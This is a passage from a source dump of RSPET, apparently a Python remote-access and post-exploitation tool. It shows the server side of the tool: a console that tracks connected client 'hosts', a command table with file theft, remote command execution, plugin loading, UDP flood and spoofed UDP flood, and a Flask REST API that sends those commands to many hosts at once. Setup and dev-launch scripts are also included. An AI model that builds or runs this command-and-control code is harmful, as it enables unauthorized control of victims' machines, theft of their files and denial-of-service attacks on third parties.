"%s: plugin installed" % plugin) 319 | 320 | def available_plugins(self): 321 | """Get a list of all available plugins.""" 322 | json_file = urlopen(self.plugins["base_url"] + '/plugins.json') 323 | self.plugins["available"] = json.load(json_file) 324 | return self.plugins["available"] 325 | 326 | def installed_plugins(self): 327 | """List all plugins installed.""" 328 | from os import listdir 329 | from fnmatch import fnmatch 330 | import compiler 331 | import inspect 332 | files = listdir('Plugins') 333 | try: 334 | files.remove('mount.py') 335 | files.remove('template.py') 336 | except ValueError: 337 | pass 338 | plugins = {} 339 | for element in files: 340 | if fnmatch(element, '*.py') and not fnmatch(element, '_*'): 341 | plug_doc = compiler.parseFile('Plugins/' + element).doc 342 | plug_doc = inspect.cleandoc(plug_doc) 343 | plugins[element[:-3]] = plug_doc # Remove .py) 344 | return plugins 345 | 346 | def loaded_plugins(self): 347 | """Interface function. Return loaded plugins.""" 348 | return self.plugins["loaded"] 349 | 350 | def select(self, ids=None): 351 | """Selects given host(s) based on ids 352 | 353 | Keyword argument: 354 | ids -- Array of ids of hosts. Empty array unselects all. None 355 | selects all 356 | """ 357 | ret = [0, ""] 358 | flag = False 359 | self.clients["selected"] = [] 360 | if ids is None: 361 | for h_id in self.clients["hosts"]: 362 | self.clients["selected"].append(self.clients["hosts"][h_id]) 363 | else: 364 | #self.clients["selected"] = [] 365 | for i in ids: 366 | i = str(i) 367 | try: 368 | if self.clients["hosts"][i] not in self.clients["selected"]: 369 | self.clients["selected"].append(self.clients["hosts"][i]) 370 | except KeyError: 371 | flag = True 372 | if flag: 373 | ret[0] = 7 374 | ret[1] = "One or more host IDs were invalid. Continuing with valid hosts ..." 375 | return ret 376 | 377 | def get_selected(self): 378 | """Interface function. Return selected hosts.""" 379 | return self.clients["selected"] 380 | 381 | def get_hosts(self): 382 | """Interface function. Return all hosts.""" 383 | return self.clients["hosts"] 384 | 385 | def execute(self, cmd, args): 386 | """Execute a command on all selected clients. 387 | 388 | Keyword argument: 389 | cmd -- Function to call for each selected host. 390 | Function signature myfunc(Host, args[0], args[1], ...) 391 | It should accept len(args) - 1 arguments 392 | args -- Arguments to pass to the command function""" 393 | 394 | ret = [None, 0, ""] 395 | try: 396 | ret = Plugin.__server_cmds__[cmd](self, args) 397 | except KeyError: 398 | raise KeyError 399 | return ret 400 | 401 | def help(self, args): 402 | """Print all the commands available in the current interface allong with 403 | their docsting.""" 404 | help_str = "" 405 | 406 | if len(args) == 0: 407 | help_str += "Server commands:" 408 | if Plugin.__server_cmds__ is not None: 409 | for cmd in Plugin.__server_cmds__: 410 | if Console.state in Plugin.__cmd_states__[cmd]: 411 | help_str += ("\n\t%s: %s" % (cmd, 412 | Plugin.__server_cmds__[cmd].__help__)) 413 | 414 | else: 415 | help_str += ("Command : %s" % args[0]) 416 | try: 417 | help_str += ("\nSyntax : %s" % Plugin.__server_cmds__[args[0]].__syntax__) 418 | except KeyError: 419 | help_str += "\nCommand not found! Try help with no arguments for\ 420 | a list of all commands available in current scope." 421 | except AttributeError: # Command has no arguments declared. 422 | pass 423 | return help_str 424 | 425 | def clean(self): 426 | """Remove hosts tagged for deletion.""" 427 | tmp_dct = {} 428 | for host_id in self.clients["hosts"]: 429 | if not self.clients["hosts"][host_id].deleteme: 430 | #self.clients["hosts"].pop(host_id) 431 | tmp_dct[host_id] = self.clients["hosts"][host_id] 432 | elif self.clients["hosts"][host_id] in self.clients["selected"]: 433 | self.clients["selected"].remove(self.clients["hosts"][host_id]) 434 | self.clients["hosts"] = tmp_dct 435 | #self.clients["hosts"] = [a for a in self.clients["hosts"] if a is not None] 436 | #self.select([]) 437 | 438 | def quit(self): 439 | """Interface function. Raise a Quit signal.""" 440 | self.quit_signal = True 441 | 442 | class Host(object): 443 | """Class for hosts. Each Host object represent one host""" 444 | command_dict = { 445 | 'killMe' : '00000', 446 | 'getFile' : '00001', 447 | 'getBinary' : '00002', 448 | 'sendFile' : '00003', 449 | 'sendBinary' : '00004', 450 | 'udpFlood' : '00005', 451 | 'udpSpoof' : '00006', 452 | 'command' : '00007', 453 | 'KILL' : '00008', 454 | 'loadPlugin' : '00009' 455 | } 456 | 457 | def __init__(self, sock, ip, port, h_id): 458 | """Accept the connection and initialize variables.""" 459 | self.deleteme = False 460 | ################# Replaced with dict named connection. ################# 461 | self.connection = {} 462 | self.connection["sock"] = sock 463 | self.connection["ip"] = ip 464 | self.connection["port"] = port 465 | ######################################################################## 466 | self.id = h_id 467 | #################### Replaced with dict named info. #################### 468 | self.info = {} 469 | self.info["version"] = "" 470 | self.info["type"] = "" 471 | self.info["systemtype"] = "" 472 | self.info["hostname"] = "" 473 | self.info["plugins"] = [] 474 | ######################################################################## 475 | 476 | try: 477 | ###Get Version### 478 | msg_len = self.recv(2) # len is 2-digit (i.e. up to 99 chars) 479 | tmp = self.recv(int(msg_len)).split("-") 480 | self.info["version"] = tmp[0] 481 | self.info["type"] = tmp[1] 482 | ################# 483 | ###Get System Type### 484 | msg_len = self.recv(2) # len is 2-digit (i.e. up to 99 chars) 485 | self.info["systemtype"] = self.recv(int(msg_len)) 486 | ##################### 487 | ###Get Hostname### 488 | msg_len = self.recv(2) # len is 2-digit (i.e. up to 99 chars) 489 | self.info["hostname"] = self.recv(int(msg_len)) 490 | ################## 491 | except sock_error: 492 | self.trash() 493 | 494 | def get_ip(self): 495 | """Interface function. Return Client's IP address.""" 496 | return self.connection["ip"] 497 | 498 | def get_port(self): 499 | """Interface function. Return Client's port.""" 500 | return self.connection["port"] 501 | 502 | def get_version(self): 503 | """Interface function. Return Client Module's version.""" 504 | return self.info["version"] 505 | 506 | def get_type(self): 507 | """Interface function. Return the type of the Client Module.""" 508 | return self.info["type"] 509 | 510 | def get_systemtype(self): 511 | """Interface function. Retrun the type of the Client's system.""" 512 | return self.info["systemtype"] 513 | 514 | def get_hostsname(self): 515 | """Interface function. Return Client's hostname.""" 516 | return self.info["hostname"] 517 | 518 | def trash(self): 519 | """Gracefully delete host.""" 520 | if not self.deleteme: 521 | try: 522 | self.send(Host.command_dict['killMe']) 523 | except sock_error: 524 | raise sock_error 525 | self.purge() 526 | 527 | def purge(self): 528 | """Delete host not so gracefully.""" 529 | self.connection["sock"].shutdown(SHUT_RDWR) 530 | self.connection["sock"].close() 531 | self.deleteme = True 532 | 533 | def __eq__(self, other): 534 | """Check weather two sockets are the same socket.""" 535 | #Why is this here ? 536 | return self.connection["sock"] == other.connection["sock"] 537 | 538 | def send(self, msg): 539 | """Send message to host""" 540 | if msg is not None and len(msg) > 0: 541 | try: 542 | self.connection["sock"].send(msg) 543 | except sock_error: 544 | raise sock_error 545 | 546 | def recv(self, size=1024): 547 | """Receive from host""" 548 | if size > 0: 549 | data = self.connection["sock"].recv(size) 550 | if data == '': 551 | raise sock_error 552 | return data 553 | 554 | 555 | def main(): 556 | """Main function.""" 557 | parser = argparse.ArgumentParser(description='RSPET Server module.') 558 | parser.add_argument("-c", "--clients", nargs=1, type=int, metavar='N', 559 | help="Number of clients to accept.", default=[5]) 560 | parser.add_argument("--ip", nargs=1, type=str, metavar='IP', 561 | help="IP to listen for incoming connections.", 562 | default=["0.0.0.0"]) 563 | parser.add_argument("-p", "--port", nargs=1, type=int, metavar='PORT', 564 | help="Port number to listen for incoming connections.", 565 | default=[9000]) 566 | args = parser.parse_args() 567 | cli = Console(args.clients[0], args.ip[0], args.port[0]) 568 | try: 569 | cli.loop() 570 | except KeyError: 571 | print("Got KeyError") 572 | cli.trash() 573 | del cli 574 | sysexit() 575 | except KeyboardInterrupt: 576 | cli.trash() 577 | del cli 578 | sysexit() 579 | cli.trash() 580 | del cli 581 | 582 | 583 | if __name__ == "__main__": 584 | main() 585 | -------------------------------------------------------------------------------- /Server/rspet_server_api.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: UTF-8 -*- 3 | """RSPET Server's RESTful API.""" 4 | import argparse 5 | from flask_cors import CORS, cross_origin 6 | from flask import Flask, jsonify, abort, make_response, request, url_for, redirect 7 | import rspet_server 8 | 9 | __author__ = "Kolokotronis Panagiotis" 10 | __copyright__ = "Copyright 2016, Kolokotronis Panagiotis" 11 | __credits__ = ["Kolokotronis Panagiotis"] 12 | __license__ = "MIT" 13 | __version__ = "1.1" 14 | __maintainer__ = "Kolokotronis Panagiotis" 15 | 16 | 17 | APP = Flask(__name__) 18 | CORS(APP) 19 | 20 | # TODO: 21 | # There's a handful of commands there is no point whatsoever in executing through here 22 | # so in lack of a better solution (that will come in following versions) lets' do this. 23 | EXCLUDED_FUNCTIONS = ["help", "List_Sel_Hosts", "List_Hosts", "Choose_Host", "Select",\ 24 | "ALL", "Exit", "Quit"] 25 | PARSER = argparse.ArgumentParser(description='RSPET Server module.') 26 | PARSER.add_argument("-c", "--clients", nargs=1, type=int, metavar='N', 27 | help="Number of clients to accept.", default=[5]) 28 | PARSER.add_argument("--ip", nargs=1, type=str, metavar='IP', 29 | help="IP to listen for incoming connections.", 30 | default=["0.0.0.0"]) 31 | PARSER.add_argument("-p", "--port", nargs=1, type=int, metavar='PORT', 32 | help="Port number to listen for incoming connections.", 33 | default=[9000]) 34 | ARGS = PARSER.parse_args() 35 | RSPET_API = rspet_server.API(ARGS.clients[0], ARGS.ip[0], ARGS.port[0]) 36 | 37 | 38 | def make_public_host(host, h_id): 39 | """Add full URI to host Dictionary""" 40 | new_host = host 41 | new_host['uri'] = url_for('get_host', host_id=h_id, _external=True) 42 | new_host['id'] = h_id 43 | return new_host 44 | 45 | 46 | def make_public_help(command, hlp_sntx): 47 | """Add full URI to help Dictionary""" 48 | new_command = hlp_sntx 49 | new_command['uri'] = url_for('command_help', command=command, _external=True) 50 | new_command['command'] = command 51 | return new_command 52 | 53 | 54 | def shutdown_server(): 55 | """Shutdown server if running on werkzeug""" 56 | func = request.environ.get('werkzeug.server.shutdown') 57 | if func is None: 58 | raise RuntimeError('Not running with the Werkzeug Server') 59 | func() 60 | 61 | 62 | @APP.errorhandler(500) 63 | def int_server_error(error): 64 | """Return JSONified 500""" 65 | return make_response(jsonify({'error': 'Internal Server Error'}), 500) 66 | 67 | 68 | @APP.errorhandler(404) 69 | def not_found(error): 70 | """Return JSONified 404""" 71 | return make_response(jsonify({'error': 'Not found'}), 404) 72 | 73 | 74 | @APP.errorhandler(400) 75 | def bad_request(error): 76 | """Return JSONified 400""" 77 | return make_response(jsonify({'error': 'Bad request'}), 400) 78 | 79 | 80 | @APP.route('/rspet/api/v1.1/hosts', methods=['GET']) 81 | def get_hosts(): 82 | """Return all hosts.""" 83 | #Check for query string, redirect to endpoint with trailling '/'. 84 | if request.query_string: 85 | return redirect(url_for('run_cmd') + '?' + request.query_string) 86 | hosts = RSPET_API.get_hosts() 87 | return jsonify({'hosts': [make_public_host(hosts[h_id], h_id) for h_id in hosts]}) 88 | 89 | 90 | @APP.route('/rspet/api/v1.1/hosts/', methods=['GET']) 91 | def get_host(host_id): 92 | """Return specific host.""" 93 | #Check for query string, redirect to endpoint with trailling '/'. 94 | if request.query_string: 95 | return redirect(url_for('run_cmd_host', host_id=host_id) + '?' + request.query_string) 96 | hosts = RSPET_API.get_hosts() 97 | try: 98 | host = hosts[host_id] 99 | except KeyError: 100 | abort(404) 101 | return jsonify(make_public_host(host, host_id)) 102 | 103 | 104 | @APP.route('/rspet/api/v1.1/hosts//', methods=['GET']) 105 | def run_cmd_host(host_id): 106 | """Execute host specific command.""" 107 | #Select host on the server. 108 | res = RSPET_API.select([host_id]) 109 | #Check if host selected correctly (if not probably host_id is invalid). 110 | if res["code"] != rspet_server.ReturnCodes.OK: 111 | abort(404) 112 | #Read 'command' argument from query string. 113 | comm = request.args.get('command') 114 | if not comm or comm in EXCLUDED_FUNCTIONS: 115 | abort(400) 116 | try: 117 | #Read 'args' argument from query string. 118 | args = request.args.getlist('args') 119 | #Cast arguments to string. 120 | for i, val in enumerate(args): 121 | args[i] = str(val) 122 | except KeyError: 123 | args = [] 124 | #Execute command. 125 | res = RSPET_API.call_plugin(comm, args) 126 | #Unselect host. Maintain statelessness of RESTful. 127 | RSPET_API.select() 128 | return jsonify(res) 129 | 130 | 131 | @APP.route('/rspet/api/v1.1/hosts/', methods=['GET']) 132 | def mul_cmd(): 133 | """Execute command on multiple hosts.""" 134 | #Read 'hosts' argument from query string. 135 | hosts = request.args.getlist('hosts') 136 | #If no host specified abort with error code 400. 137 | if not hosts: 138 | abort(400) 139 | #Select hosts on the server. 140 | res = RSPET_API.select(hosts) 141 | #Check if host selected correctly (if not probably host_id is invalid). 142 | if res["code"] != rspet_server.ReturnCodes.OK: 143 | abort(404) 144 | #Read 'command' argument from query string. 145 | comm = request.args.get('command') 146 | if not comm or comm in EXCLUDED_FUNCTIONS: 147 | abort(400) 148 | try: 149 | #Read 'args' argument from query string. 150 | args = request.args.getlist('args') 151 | #Cast arguments to string. 152 | for i, val in enumerate(args): 153 | args[i] = str(val) 154 | except KeyError: 155 | args = [] 156 | #Execute command. 157 | res = RSPET_API.call_plugin(comm, args) 158 | #Unselect host. Maintain statelessness of RESTful. 159 | RSPET_API.select() 160 | return jsonify(res) 161 | 162 | 163 | @APP.route('/rspet/api/v1.1', methods=['GET']) 164 | def run_cmd(): 165 | """Execute general (non-host specific) command.""" 166 | #Read 'command' argument from query string. 167 | comm = request.args.get('command') 168 | if not comm or comm in EXCLUDED_FUNCTIONS: 169 | abort(400) 170 | try: 171 | #Read 'args' argument from query string. 172 | args = request.args.getlist('args') 173 | #Cast arguments to string. 174 | for i, val in enumerate(args): 175 | args[i] = str(val) 176 | except KeyError: 177 | args = [] 178 | #Execute command. 179 | ret = RSPET_API.call_plugin(comm, args) 180 | if ret['code'] == rspet_server.ReturnCodes.OK: 181 | http_code = 200 182 | else: 183 | http_code = 404 184 | return make_response(jsonify(ret), http_code) 185 | 186 | 187 | @APP.route('/rspet/api', methods=['GET']) 188 | def sitemap(): 189 | """Return API map.""" 190 | rat = [] 191 | for rule in APP.url_map.iter_rules(): 192 | uri = str(rule) 193 | if 'static' in uri: 194 | continue 195 | rat.append({'uri':uri, 'doc':globals()[rule.endpoint].__doc__,\ 196 | 'methods':list(rule.methods)}) 197 | return jsonify(rat) 198 | 199 | 200 | @APP.route('/rspet/api/v1.1/help', methods=['GET']) 201 | def general_help(): 202 | """Return general help.""" 203 | hlp_sntx = RSPET_API.help() 204 | #Read 'state' argument from query string. 205 | cur_state = request.args.get('state') 206 | #Remove excluded functions. 207 | for hlp in EXCLUDED_FUNCTIONS: 208 | if hlp in hlp_sntx: 209 | hlp_sntx.pop(hlp) 210 | #Remove out of scope functions. 211 | tmp = {} 212 | for hlp in hlp_sntx: 213 | if cur_state in hlp_sntx[hlp]['states']: 214 | tmp[hlp] = hlp_sntx[hlp] 215 | return jsonify({'commands': [make_public_help(command, hlp_sntx[command])\ 216 | for command in tmp]}) 217 | 218 | 219 | @APP.route('/rspet/api/v1.1/help/', methods=['GET']) 220 | def command_help(command): 221 | """Return command specific help.""" 222 | hlp_sntx = RSPET_API.help() 223 | if command in EXCLUDED_FUNCTIONS: 224 | abort(400) 225 | try: 226 | help_cm = hlp_sntx[command] 227 | except KeyError: 228 | abort(404) 229 | return jsonify(make_public_help(command, help_cm)) 230 | 231 | 232 | @APP.route('/rspet/api/v1.1/plugins/available', methods=['GET']) 233 | def available_plugins(): 234 | """Low-level interaction. Get available plugins.""" 235 | server = RSPET_API.get_server() 236 | avail_plug = server.available_plugins() 237 | return jsonify(avail_plug) 238 | 239 | 240 | @APP.route('/rspet/api/v1.1/plugins/installed', methods=['GET']) 241 | def installed_plugins(): 242 | """Low-level interaction. Get installed plugins.""" 243 | server = RSPET_API.get_server() 244 | inst_plug = server.installed_plugins() 245 | return jsonify(inst_plug) 246 | 247 | 248 | @APP.route('/rspet/api/v1.1/plugins/loaded', methods=['GET']) 249 | def loaded_plugins(): 250 | """Low-level interaction. Get loaded plugins.""" 251 | server = RSPET_API.get_server() 252 | load_plug = server.loaded_plugins() 253 | return jsonify(load_plug) 254 | 255 | 256 | @APP.route('/rspet/api/v1.1/plugins/install', methods=['GET']) 257 | def install_plugin(): 258 | """Low-level interaction. Install plugins.""" 259 | plugins = request.args.getlist('plugins') 260 | server = RSPET_API.get_server() 261 | for plugin in plugins: 262 | server.install_plugin(plugin) 263 | return make_response('', 204) 264 | 265 | 266 | @APP.route('/rspet/api/v1.1/plugins/load', methods=['GET']) 267 | def load_plugin(): 268 | """Low-level interaction. Load plugins.""" 269 | plugins = request.args.getlist('plugins') 270 | server = RSPET_API.get_server() 271 | for plugin in plugins: 272 | server.load_plugin(plugin) 273 | return make_response('', 204) 274 | 275 | 276 | @APP.route('/rspet/api/v1.1/refresh', methods=['GET']) 277 | def refresh(): 278 | """Refresh server. Check for lost hosts.""" 279 | RSPET_API.refresh() 280 | return make_response('', 204) 281 | 282 | 283 | @APP.route('/rspet/api/v1.1/quit', methods=['GET']) 284 | def shutdown(): 285 | """Shutdown the Server.""" 286 | RSPET_API.quit() 287 | shutdown_server() 288 | print 'Server shutting down...' 289 | return make_response('', 204) 290 | 291 | 292 | if __name__ == '__main__': 293 | APP.run(debug=False, threaded=True) 294 | -------------------------------------------------------------------------------- /Server/server.dia: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/panagiks/RSPET/de4356e40d803a7c224e2c919cac6a2d6c0a330f/Server/server.dia -------------------------------------------------------------------------------- /Server/tab.py: -------------------------------------------------------------------------------- 1 | import readline 2 | 3 | class autocomplete(object): 4 | def __init__(self, options): 5 | self.options = sorted(options) 6 | return 7 | 8 | def complete(self, text, state): 9 | response = None 10 | if state == 0: 11 | if text: 12 | self.matches = [s 13 | for s in self.options 14 | if s and s.startswith(text) 15 | ] 16 | else: 17 | self.matches = self.options[:] 18 | 19 | try: 20 | response = self.matches[state] 21 | except IndexError: 22 | response = None 23 | return response 24 | 25 | 26 | def readline_completer(words): 27 | readline.set_completer(autocomplete(words).complete) 28 | readline.parse_and_bind('tab: complete') 29 | readline.parse_and_bind('set completion-ignore-case on') 30 | -------------------------------------------------------------------------------- /run_dev.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: UTF-8 -*- 3 | from __future__ import print_function 4 | import shutil 5 | import argparse 6 | import sys 7 | import os 8 | from threading import Thread 9 | from subprocess import Popen, PIPE 10 | 11 | 12 | def serverCall(api, num_of_clients, ip, port): 13 | if api: 14 | os.system(("cd test/Server/ && ./rspet_server_api.py -c %d --ip %s -p %d" % 15 | (num_of_clients, ip, port))) 16 | else: 17 | os.system(("cd test/Server/ && ./rspet_server.py -c %d --ip %s -p %d" % 18 | (num_of_clients, ip, port))) 19 | 20 | 21 | def clientCall(clientNo): 22 | comm = Popen(("cd test/Client/cl%d && ./rspet_client.py 127.0.0.1" % clientNo), shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE) 23 | stdout, stderr = comm.communicate() 24 | if stderr: 25 | decode = stderr.decode('UTF-8') 26 | elif stdout: 27 | decode = stdout.decode('UTF-8') 28 | else: 29 | decode = 'Command has no output' 30 | print(decode) 31 | 32 | 33 | def main(): 34 | parser = argparse.ArgumentParser(description='Automate test deployment.') 35 | parser.add_argument("-c", "--clients", nargs=1, type=int, metavar='N', 36 | help="Number of clients to spawn.", default=[5]) 37 | parser.add_argument("--rest", action='store_true', help="Invoke the RESTful WebAPI.") 38 | parser.add_argument("--ip", nargs=1, type=str, metavar='IP', 39 | help="IP to listen for incoming connections.", 40 | default=["0.0.0.0"]) 41 | parser.add_argument("-p", "--port", nargs=1, type=int, metavar='PORT', 42 | help="Port number to listen for incoming connections.", 43 | default=[9000]) 44 | args = parser.parse_args() 45 | 46 | num_of_clients = int(args.clients[0]) 47 | 48 | try: 49 | shutil.copytree("Server", "test/Server") 50 | except OSError: 51 | pass 52 | 53 | for i in range(0, num_of_clients): 54 | try: 55 | shutil.copytree("Client", ("test/Client/cl%d" %i)) 56 | except OSError: 57 | pass 58 | 59 | f_jobs = [] 60 | for i in range(0, num_of_clients): 61 | thr = Thread(target=clientCall, args=[i]) 62 | f_jobs.append(thr) 63 | thr = Thread(target=serverCall, args=[args.rest, args.clients[0], args.ip[0], 64 | args.port[0]]) 65 | f_jobs.append(thr) 66 | for k in f_jobs: 67 | k.start() 68 | for k in f_jobs: 69 | k.join() 70 | 71 | shutil.rmtree("test/") 72 | 73 | if __name__ == '__main__': 74 | main() 75 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: UTF-8 -*- 3 | from subprocess import Popen, PIPE 4 | import pip 5 | 6 | #Format and execute command to generate RSPET server's RSA key. 7 | command = "openssl req -new -newkey rsa:4096 -days 3650 -nodes -x509 -subj \"/C=RT/ST=RT/L=RT/O=RT/CN=.\" -keyout Server/server.key -out Server/server.crt" 8 | comm = Popen(command, shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE) 9 | stdout, stderr = comm.communicate() 10 | #Install dependencies for RESTful WebAPI. 11 | pip.main(['install','Flask', 'flask-cors', '-q']) 12 | --------------------------------------------------------------------------------